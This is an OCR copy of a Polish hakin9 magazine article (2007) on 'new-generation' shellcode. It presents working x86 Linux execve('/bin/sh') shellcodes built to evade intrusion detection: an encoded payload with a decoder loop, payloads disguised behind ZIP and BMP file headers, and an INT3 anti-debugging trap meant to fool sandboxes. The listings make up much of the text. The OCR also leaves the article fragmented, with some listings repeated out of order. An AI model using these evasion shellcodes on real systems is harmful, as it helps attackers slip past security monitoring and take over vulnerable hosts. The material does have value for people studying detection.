Schellcody nowej generacji.pdf

(556 KB) Pobierz
18253525 UNPDF
Ewolucja Kodów Powłoki
Atak
Itzik Kotler
stopień trudności
Kod powłoki jest fragmentem kodu maszynowego, który
wykorzystuje się jako ładunek przy atakach bazujących na
wykorzystaniu błędów softwarowych. Wykorzystywanie słabych
punktów w rodzaju przepełnienia bufora przydzielonego na stosie
lub stercie lub stringów formatujących wymagają kodu powłoki. Kod
ten będzie wykonany jeśli proces wykorzystania luki się powiedzie.
kody powłoki działają na bazie dostę-
pu do linii poleceń systemu który jest
celem ataku – stąd zresztą wzięła się nazwa
tej techniki. Powłoka to program, który daje
dostęp do serwisów udostępnianych przez
jadro systemu. Przykładami powłoki mogą być
CMD.EXE (dla systemów z rodziny Windows)
bądź /bin/bash (dla systemów z rodziny Linux,
UNIX). Kody powłoki próbują uruchomić wła-
śnie te aplikacje. Zagrożenie powiązane z ko-
dem powłoki jest bardzo duże, jako że kod taki
będzie wywołany z takim samymi przywilejami
jak wykorzystany przez niego proces – mogą
być to zarówno przywileje użytkownika jak
i administratora. Maja te ostatnie, kod powłoki
ma moc do przeprowadzenia niemalże każdej
operacji w systemie, a na dodatek może zrobić
to w niewidoczny sposób, jako że jego poczy-
nania będą maskowane przez eksploatowny
proces.
Istnieje duża różnorodność rozwiązań
stworzonych w celu zapobiegania kodów
powłoki w systemach. Może to być zarówno
instalacja dedykowanych systemów detekcji
i usuwania intruzów jak i różnego rodzaju
czynności prewencyjne narzucone przez ad-
ministratora systemu. Z punktu widzenia ataku-
jącego są to pewne przeszkody. W niniejszym
artykule przedstawię koncepcje na których
bazuje część ze wspomnianych rozwiązań
wskazując przy okazji na ich słabe strony.
Pokażę również przykład rzeczywistego ko-
du powłoki, który wykorzystuje słabe punkty
w celu ominięcia systemu zabezpieczeń. Mimo
Czego się nauczysz
• jakie przeszkody spotyka napastnik próbujący
uruchomić kod powłoki na systemie będącym
celem ataku oraz jak wyglądają sposoby obej-
ścia tych przeszkód,
• jak projektować i implementować bardziej
sprytne kody powłoki.
Co powinieneś znać
• podstawy Assemblera x86 dla platformy Linux,
• podstawowe informacje na temat technik
ataków bazujących na przepełnieniu bufora
przydzielonego na stosie lub na stercie, oraz
ataków wykonywanych przy pomocy napisów
formatujących.
2
hakin9 Nr 1/2007
www.hakin9.org
N ajbardziej powszechne i popularne
18253525.024.png 18253525.025.png 18253525.026.png
xxxxx
tego, iż prezentowane kody powłoki
zostały zaprojektowane dla syste-
mów Linux działających w archi-
tekturze x86 to część koncepcji na
których one bazują można uznać za
przenośnie i wykorzystać na innych
platformach.
Innym słabym punktem tej
metody są warstwy bezpiecznego
przesyłania danych w sieci. Pro-
tokoły typu SSL czy VPN (IPSec)
są wykorzystywane w celu tzw.
tunelowania, które omija NDIS, jako
że przekazywane dane są szyfro-
wane i deszyfrowane w końcowych
punktach połączenia. W tej sytuacji
NDIS nie jest w stanie zdekodować
przychodzących danych i baza reguł
staje się bezużyteczna.
ilość danych i na dodatek (domyśl-
nie) posiada zezwolenie na czytanie,
pisanie i co najbardziej istotne – wy-
konywanie kodu który się aktualnie
na nim znajduje.(Listing 2)
W dalszej kolejności mamy kod
dekodera. Szyfrowanie w tym przy-
padku jest prostą grą inkrementacji
i dekrementacji. Dekoder jest złożony
Ewolucja kontra
Diagnozowanie
„po kablu”
Metoda diagnozowania „po kablu”
(ang. Wire diagnose ) jest często im-
plementowana w ramach systemów
klasy IDS (ang. Intrusion Detection
Systems ) oraz IPS (ang. Intrusion
Prevention Systems ). Rozwiązania
te różnią się przede wszystkim ro-
dzajem zakresami kontroli. Pierwsze
skupiają się na warstwie komunika-
cyjnej próbując wyłapać tu wszelkie
rodzaje podejrzanych pakietów
w sieci, które przebrnęły przez kla-
syczną zaporę systemu; drugie mo-
nitorują system na poziomie hosta,
próbując wyłapać tu wszelkie rodza-
je złośliwych zachowań.
Metoda diagnozowania “po
kablu” jest jedną z właściwości
NIDS (systemu detekcji intruzów)
i polega na rozpoznawaniu i kla-
syikacji pakietów nadchodzących
z sieci zanim dotrą one do swoich
punktów przeznaczenia. W przy-
padku rozpoznania potencjalnego
niebezpieczeństwa system podno-
si alarm. Podobnie jak programy
antywirusowe, NDIS posiada bazę
danych podpisów i wzorców, które
związane są z próbami włamań
do systemów. Baza taka składa
się zazwyczaj z listy najczęściej
używanych bajtów, lub sekwencji
bajtów pojawiających się w kodach
powłoki.
Siła tej metody zależy z jednej
strony od jakości informacji składo-
wanych w bazie, zaś z drugiej – od
tego na ile “typowa” jest struktura
kodu powłoki, który próbuje włamać
się do systemu. Ponieważ z punktu
widzenia napastnika baza reguł
NDIS jest niedostępna, dlatego je-
dynym sposobem na obejście tej
przeszkody jest zmiana struktury
kodu powłoki; zjawisko to zwane jest
polimorizmem.
Listing 1. Zaszyfrowane kody
powłoki składają się z dwóch
części
CJO0TI równa się
/BIN/SH
Szyfrowanie kodu powłoki to pod-
stawowy mechanizm prowadzący do
uzyskania polimorizmu. Proces ten
pozwala bezkarnie wykorzystywać
„oznaczone” bajty i sekwencje nie
martwiąc się o to, ze zostaną one
przechwycone po stronie NDIS. Ist-
nieje cała gama metod szyfrowania,
przy czym większość z nich bazuje
na funkcjach matematycznych lub
bramkach logicznych. Szyfrowanie
kodu powłoki może również pole-
gać na tworzeniu luk w strumieniu
danych, który przechodzi przez sieć
– luki te są usuwane przed wywoła-
niem kodu w docelowym systemie.
Polimorizm kodów powłoki moż-
na zauważyć również w przypadku
kiedy próba ataku opiera się o pro-
tokół wymagający ograniczonego ze-
stawu znaków. Na przykład protokoły
działające w oparciu o dane tekstowe
automatycznie odrzucają jakiekol-
wiek dane binarne. W takim przypad-
ku kody powłoki są reprezentowane
w postaci alfanumerycznej.
Zaszyfrowane kody powłoki skła-
dają się z dwóch części: zakodowa-
nego ładunku oraz dekodera, który
deszyfruje pierwszą część i na końcu
wykonuje do niej skok. (Listing 1)
Przedstawiony w Listingu 1. kod
powłoki w momencie wywołania ma
postać execve("/bin/sh") . Jednakże
w postaci zakodowanej wygląda zu-
pełnie inaczej.
Kod powłoki rozpoczyna się
serią instrukcji PUSH. Przy każdym
wywołaniu tej instrukcji na stos wrzu-
cane są 4 bajty zaszyfrowanego ła-
dunku. Stos jest idealnym miejscem
gdzie można rozpakować niewielką
#
# ( linux / x86 ) execve ( "/bin/
sh" ,
[ "/bin/sh" ] , NULL ) / zakodowane
przez + 1 - 39 bajt ó w
# - izik@tty64.org
#
. section . text
. global _start
_start :
#
# Zakodowany ładunek
( drugi kod pow ł oki )
#
pushl $ 0x81cee28a
pushl $ 0x54530cb1
pushl $ 0xe48a6f6a
pushl $ 0x63306901
pushl $ 0x69743069
pushl $ 0x14
popl % ecx
#
# Pętla dekodująca
#
_unpack_loop :
decb (% esp , % ecx , 1 )
decl % ecx
jns _unpack_loop
incl % ecx
mul % ecx
#
# Skocz do
zdekodowanego kodu pow ł oki
#
push % esp
ret
Listing 2. Kod powłoki
rozpoczyna się serią instrukcji
PUSH
#
# Zakodowany ładunek
( drugi kod pow ł oki )
#
pushl $ 0x81cee28a
pushl $ 0x54530cb1
pushl $ 0xe48a6f6a
pushl $ 0x63306901
pushl $ 0x69743069
www.hakin9.org
hakin9 Nr 1/2007
3
 
18253525.001.png 18253525.002.png 18253525.003.png
 
atak
z pętli, która czyta bajt po bajcie dane
wrzucone na stos i wykonuje na nich
operację odejmowania w celu przy-
wrócenie oryginalnej wartości. Po za-
kończeniu pętli kod powłoki wykonuje
skok do ładunku umieszczonego na
stosie (Listing 3.).
Oczywiste jest, że im łatwiejsza
metoda dekodowania tym mniejszy
będzie dekoder. Podejście to ma
jeszcze jedną zaletę – pozwala uży-
wać zabronionych bajtów – chociaż-
by takich jak NULL . NULL z racji tego,
że jest stosowany jako znacznik
końca napisu, nie powinien być uży-
wany w ciele kodu powłoki (kod taki,
w przypadku ataków polegających
na wykorzystaniu stringów mógłby
być przedwcześnie obcięty). Jednak
przy zastosowaniu szyfrowania pro-
blem znika – podatna na atak funkcja
(np. strcpy() ) nigdy nie przetworzy
wartości NULL , gdyż jest ona zako-
dowana.
Pomimo tego, że szyfrowanie
zmienia wygląd zewnętrzny kodu
powłoki, warto zauważyć iż wyni-
kowa postać nie zawsze musi być
odporna na metodę diagnozowania
„po kablu”. Problem w tym, że wielo-
krotne wykorzystanie tego samego
schematu szyfrowania może spra-
wić, że odpowiedzialny za to kod
będzie zarejestrowany jako wzorzec
i umieszczony w bazie danych. Aby
uzyskać w miarę niezawodne roz-
wiązanie należałoby ciągle modyi-
kować zarówno samą formułę kodu
powłoki jak i metodę szyfrowania tej
formuły.
Ja jestem ZIP,
a kim jesteś Ty?
Częstym sposobem na rozróżnienie
dwóch różnych formatów danych
jest próba odczytania pewnych
znaczników. Dla przykładu – do
poszczególnych formatów często
przypisuje się konkretne rozszerze-
nia plików, i co więcej – lwia część
formatów danych posiada nagłówki
opatrzone „magicznymi” numerami
bądź bajtami. Bajty te są często
przydatne kiedy aplikacja próbuje
zweryikować czy nadchodzący
strumień danych ma w pożądany
format.
Wstawianie do kodu powłoki
„magicznych” bajtów powiązanych
z powszechnie rozpoznawanymi
formatami plików może być bardzo
pomocne przy oszukiwaniu narzę-
dzi monitorujących ruch w sieci.
Szczególnie w przypadkach prób
włamania się do systemu poprzez
takie standardowe kanały jak poczta
elektroniczna czy zawartość stron
webowych, bardzo ważne jest to
aby kod powłoki otrzymał fałszywą
„osobowość”. Dla przykładu, kod
powłoki, który przedstawia się jako
ZIP ma dużą szansę ogłupić system
wykrywania intruzów i osiągnąć swój
cel (Listing 4.).
Kod powłoki zaczyna się 5
bajtowym nagłówkiem charaktery-
stycznym dla popularnego formatu
kompresji – ZIP. W tym przypadku
bardzo istotny jest fakt, iż wspomnia-
ne 5 bajtów da się przekształcić
w poprawne instrukcje asemblera.
Ponieważ system skupia się na
wychwytywaniu kodów powłoki,
niewątpliwie weźmie w pierwszej
kolejności pod lupę właśnie te bajty
i istnieje szansa, że rozpozna je jako
nagłówek poprawnego bądź uszko-
dzonego archiwum ZIP. Nawet jeśli
system monitoringu nie jest w sta-
nie rozpoznać formatu ZIP, to i tak
uzyskamy pewną przewagę, jako
że bajty nagłówkowe są rzadko uży-
wane w kodach powłoki, co uczyni
nasze rozwiązanie trudniejszym do
wykrycia.
Przy próbie podszywania się pod
taki czy inny format, powodzenie ata-
ku zależy prawie zawsze od głębo-
kości analizy przeprowadzanej przez
system monitorowania. Nie zawsze
też udaje się zrekonstruować dany
format w taki sposób, aby można
go było przetłumaczyć na popraw-
ne instrukcje asemblera. Czasami
też trudno jest w pełni odtworzyć
z poziomu kodu powłoki strukturę
Listing 3. Skok pętli do ładunku
umieszczonego na stosie
#
# Pętla dekodująca
#
_unpack_loop :
decb (% esp , % ecx , 1 )
decl % ecx
jns _unpack_loop
incl % ecx
mul % ecx
#
# Jump to the decoded
shellcode
#
push % esp
ret
Listing 4. Kod powłoki
#
# x86 / linux execve ( "/bin/
sh" ,
[ "/bin/sh" , NULL ]) + Nag łó wek
ZIP - 28 bajt ó w
# - izik@tty64.org
#
. section . text
. global _start
_start :
#
# PK[\03\04], Nagłówek
archiwum
danych PK [ Zip ] ( 5 bajt ó w )
#
. byte 0x50
. byte 0x4b
. byte 0x03
. byte 0x04
. byte 0x24
#
# execve ( "/bin/sh" ,
[ "/bin/sh" , NULL ]);
#
push $ 0xb
popl % eax
cdq
push % edx
push $ 0x68732f2f
push $ 0x6e69622f
mov % esp , % ebx
push % edx
push % ebx
mov % esp , % ecx
int $ 0x80
Itzik Kotler jest badaczem zajmu-
jącym się problemami bezpieczeń-
stwa w systemach informatycznych,
oraz założycielem projektu TTY64.
Wspomniany projekt skupia się na
promowaniu technik programowania
zorientowanych na bezpieczeństwo,
a także na wszelkich aspektach po-
wiązanych z tym tematem. Na stronie
domowej projektu można znaleźć wiele
ciekawych informacji i zasobów po-
wiązanych z tematem (między innymi
przykładowe fragmenty kodu, gotowe
projekty oraz samouczki).
Kontakt z autorem: izik@tty64.org
4
hakin9 Nr 1/2007
www.hakin9.org
18253525.004.png
 
18253525.005.png
 
18253525.006.png
 
18253525.007.png 18253525.008.png
 
18253525.009.png 18253525.010.png
 
xxxxx
formatu. W rezultacie system moni-
torujący, który szuka dostatecznie
głęboko, będzie w stanie zauważyć,
że coś jest nie tak. Przeglądając
listę popularnych formatów można
zauważyć, że niektóre z nic maja
luźniejszą strukturę niż inne – za-
równo w odniesieniu do nagłówka
jak i do zawartości. Dobrymi kan-
dydatami są formaty reprezentujące
dane multimedialne – w szczególno-
ści w postaci surowej (nie skompre-
sowanej). Formaty te są zazwyczaj
bardzo elastyczne i co ważne – na
tyle popularne, aby postrzegać je
jako część typowego ruchu w sieci
(Listing 5.).
Bitmapa (.BMP) jest surowym
formatem do reprezentacji obrazu,
który jest wręcz idealną przykryw-
ką dla kodu powłoki. Trik w tym
przypadku polega na tym, iż trudno
wyobrazić sobie system monitoro-
wania, który potraiłby przewidzieć
czy danych obraz jest prawdziwy
czy nie.
Koncepcję tę można oczywiście
stosować w odniesieniu do innych
formatów – dobrymi kandydatami są
RIFF (.WAV) oraz Rich Text (.RTF).
Podstawowym ograniczeniem przy
stosowaniu tej techniki jest fakt,
że wszystkie bajty występujące
w nagłówku formatu, który planuje-
my wykorzystać jako kamulaż kodu
powłoki muszą być prawidłowymi
instrukcjami asemblera. W innym
przypadku wywołanie kodu powłoki
zakończy się błędem naruszania
dostępu w trakcie wykonania.
Kluczowym elementem opisy-
wanego w tym miejscu procesu
jest badanie efektów wykonania
kodu, który został sklasyfikowany
jako podejrzany (na przykład przy
pomocy metody diagnozowania
„po kablu”). Proces ten jest prze-
prowadzany w tzw. piaskownicy
(ang. Sandbox ), czyli w bezpiecz-
nym, odizolowanym środowisku
– może być to dla przykładu
wirtualny lub realny serwer, który
przetwarza/wykonuje podejrzany
kod, śledząc przy okazji każdy
jego krok i zapisując wyniki jego
Ewolucja kontra
diagnozowanie w czasie
wykonania
Metoda tzw. diagnozowania w czasie
wykonania jest kolejnym często sto-
sowanym rozwiązaniem stosowanym
w systemach IDS oraz IPS. Metoda ta
jest zazwyczaj wykorzystywana jako
rozszerzenie mechanizmu diagnozo-
wania „po kablu”, który omawiałem
w jednym z poprzednich punktów.
Listing 6. Pułapka INT 3h
#
# (linux/x86) trik
anty - debugowy
( INT 3 h trap ) +
execve ( "/bin/sh" ,
[ "/bin/sh" , NULL ] ,
NULL ) - 39 bajt ó w
# - izik@tty64.org
#
. section . text
. global _start
_start :
#
# Program obsługi
sygna ł u rejestru
push $ 0x30
popl % eax
push $ 0x5
popl % ebx
jmp _evil_code
#
# Sprawdzenie debugera
_evilcode_loc :
popl % ecx
int $ 0x80
int3
incl % eax
#
# Alternatywny strumień
przetwarzania
_evil_code :
call _evilcode_loc
#
# Prawdziwy kod powłoki
#
cdq
movb $ 0xb , % al
push % edx
push $ 0x68732f2f
push $ 0x6e69622f
mov % esp , % ebx
push % edx
push % ebx
pushl % esp
jmp _evilcode_loc
Listing 5. Formaty – na tyle popularne, aby postrzegać je jako część
typowego ruchu w sieci
#
# x86 / linux execve ( "/bin/sh" ,
[ "/bin/sh" , NULL ]) + Nag łó wek
24 - bitowej Bitmapy - 23 bajty
# - izik@tty64.org
#
. section . text
. global _start
_start :
#
# Nagłówek 24-bitowej Bitmapy
#
. byte 0x42
. byte 0x4D
. byte 0x36
. byte 0x91
#
# execve ( "/bin/sh" , [ "/bin/sh" , NULL ]);
#
push $ 0xb
popl % eax
cdq
push % edx
push $ 0x68732f2f
push $ 0x6e69622f
mov % esp , % ebx
push % edx
push % ebx
mov % esp , % ecx
int $ 0x80
www.hakin9.org
hakin9 Nr 1/2007
5
 
18253525.011.png 18253525.012.png 18253525.013.png 18253525.014.png 18253525.015.png
 
atak
działania. Porównując te wyniki
z danymi wyjściowymi produko-
wanymi przez inne kody powłoki
można łatwo wyłapać potencjalnie
niebezpieczny kod, zaś dzięki te-
mu, że eksperymenty przeprowa-
dzane są w piaskownicy atakujący
nie jest w stanie dokonać żadnych
poważanych uszkodzeń.
Siłą tej metody jest jej aktywny
charakter. W przypadku diagnozy
„po kablu” bazujemy głównie na
predeiniowanych zasadach – tutaj
zaś podejrzany kod uruchamiany
jest na symulowanym CPU co po-
zwala wyłapywać aktywność kodów
powłoki na najniższym z możliwych
poziomów. Jako, że głównym celem
kodu powłoki jest uruchomienie się
na CPU atakowanego systemu,
piaskownica może bardzo łatwo
śledzić i notować tego typu zacho-
wania. Zmiany struktury kodu po-
włoki na poziomie bajtów nic w tym
przypadku nie pomoże, gdyż kod
taki czy tak, czy siak ukaże swoją
prawdziwą twarz w momencie wy-
wołania.
Zaprezentowany kod powłoki
implementuje jeden z najbardziej
podstawowych trików anty-debugo-
wych, czyli pułapkę INT 3h. Uwię-
zienie potencjalnego debugera
polega na uruchomieniu przerwania
3H i ustawienia programu obsługi sy-
gnału (lub wyjątku) w kodzie powłoki.
W rezultacie, gdy kod powłoki działa
w trybie odpluskwiania to przerwa-
nie sprawi, że debuger się zatrzyma
(INT 3h jest standardowym przerwa-
niem wykorzystywanym przez de-
bugery). Ggd debuger zatrzyma się
na kodzie, ustawi EIP na punkt za
kodem operacji INT 3h i (zakładając,
że nie został przekonigurowany), nie
wywoła programu obsługi zawartego
w kodzie powłoki.
Kod umieszczony w procedu-
rze obsługi przerwania deiniuje
bezpieczną ścieżkę. Ścieżka
niebezpieczna zawarta jest w sekcji
następującej po kodzie operacji INT
3h. Dzięki temu, że większość inte-
raktywnych i praktycznie wszystkie
nie-interaktywne debugery nie dzielą
przerwania z aplikacją, kod powłoki
może tak zaplanować swój strumień
przetwarzania, aby ukryć swoje do-
celowe przeznaczenie (Listing 7.).
W pierwszej kolejności kod
powłoki rejestruje program obsłu-
gi sygnału dla SIGTRAP (INT3).
Następnie wykorzystuje wsteczne
CALL aby w trakcie wykonania
pobrać lokację kodu oznaczonego
jako _evil_code . Adres jest przeka-
Listing 7. Kolejność rejestracji
kodu powłoki
#
# Rejestruj program obsługi
sygnału
#
push $ 0x30
popl % eax
push $ 0x5
popl % ebx
jmp _evil_code
...
_evilcode_loc :
popl % ecx
int $ 0x80
...
_evil_code :
call _evilcode_loc
...
Nie debuguj mnie
Sztuczki anty-debugowe są bardzo
popularne w przypadku komercyj-
nych aplikacji Windows. Bazują one
na dołączaniu do docelowej aplikacji
fragmentów kodu, które utrudniają
lub uniemożliwiają debugowanie lub
wsteczną inżynierię tychże aplika-
cji. Oczywiście nie zakładamy, że
atakowany system będzie działał
w trybie odpluskwiania więc można
bezpiecznie założyć, że osadzanie
tego rodzaju wstawek do kodu po-
włoki nie będzie przeszkodą przy
uruchomieniu go na tym systemie.
Tym co naprawdę chcemy uzyskać
jest wprowadzenie chaosu do pia-
skownicy. Istnieje cała gama trików
anty-debugowych, przy czym naj-
ciekawsze nie są wcale te, które
na ślepo blokują debugery, lecz te
które pozwalają aplikacji stwierdzić
czy jest w trakcie debugowania
– co z kolei pozwala jej modyikować
swoje zachowania w zależności od
odpowiedzi na to pytanie.
Jeśli kod powłoki posiadałby
„świadomość” na temat tego, że
został uruchomiony w piaskownicy
(lub w środowisku debugującym), to
mógłby wprowadzić program odplu-
skwiający w błąd rozdzielając swój
strumień przetwarzania na dwie
ścieżki – bezpieczną (zawierającą
pełną funkcjonalność) oraz niebez-
pieczną (prowadzącą do wcześniej-
szego zakończenia). Patrz Listing 6.
Listing 8. Po uruchomieniu
przerwania INT3 następuje
docelowy test
#
# Sprawdzenie debugera
#
_evilcode_loc :
...
int3
...
Listing 9. Debuger zdejmuje
wartość ze stosu i wartość EIP
zwiększa się o jeden
Listing 10. Część kodu
powłoki, która zostałaby
uruchomiona w sytuacji
wywołania funkcji zwrotnej dla
SIGTRAP
#
# Sprawdzenie debugera
#
_evilcode_loc :
popl % ecx
int $ 0x80
int3
#
# Debugger przeniesie bieg
programu
w to
miejsce!
#
# Docelowy kod powłoki
#
cdq
movb $ 0xb , % al
push % edx
push $ 0x68732f2f
push $ 0x6e69622f
mov % esp , % ebx
push % edx
push % ebx
pushl % esp
jmp _evilcode_loc
#
incl % eax
_evil_code :
call _evilcode_loc
6
hakin9 Nr 1/2007
www.hakin9.org
18253525.016.png
 
18253525.017.png
 
18253525.018.png
 
18253525.019.png 18253525.020.png
 
18253525.021.png 18253525.022.png 18253525.023.png
 
Zgłoś jeśli naruszono regulamin